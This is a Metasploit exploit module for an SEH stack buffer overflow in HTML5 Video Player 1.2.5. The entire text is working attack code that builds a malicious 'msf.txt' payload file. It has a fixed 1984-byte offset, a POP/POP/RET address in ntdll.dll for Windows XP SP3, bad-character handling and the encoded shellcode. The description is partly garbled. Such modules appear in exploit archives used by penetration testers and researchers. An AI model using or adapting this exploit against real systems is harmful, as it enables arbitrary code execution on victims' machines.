HTML5 Video Player 1.2.5 Buffer Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HTML5 Video Player 1.2.5 - Buffer Overflow (SEH)',  
'Description' => %q{  
This module exploits a stack based buffer overflow in HTML5 Video Player 1.2.5 , when  
with the name "msf.txt". 1.file with the name "msf.txt" and copy content to clipboard ,2.Open software, click Help > Register and paste "Username" click "OK".  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[   
'T3jv1l', # Original discovery  
'Kagan Capar', # Original discovery  
'd3ckx1 d3ck(at)qq.com', # MSF module  
],  
'References' =>  
[  
[ 'OSVDB', '' ],  
[ 'EBD', '45888' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d\x1a",  
'DisableNops' => true,  
'Space' => 4000  
},  
'Targets' =>  
[  
[ 'HTML Video Player 1.2.5',  
{  
'Ret' => 0x7C901931, # 0x7C901931 : P/P/R FROM ntdll.dll form winxp sp3  
'Offset' => 1984  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 22 2018',  
'DefaultTarget' => 0))  
  
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt']),], self.class)  
  
end  
  
def exploit  
buf = "\x41"*(target['Offset'])  
buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)  
buf << [target.ret] .pack('V') # seh  
buf << make_nops(30)  
buf << payload.encoded  
buf << "\x90" * 300  
  
file_create(buf)  
handler  
  
end  
end  
  
  
`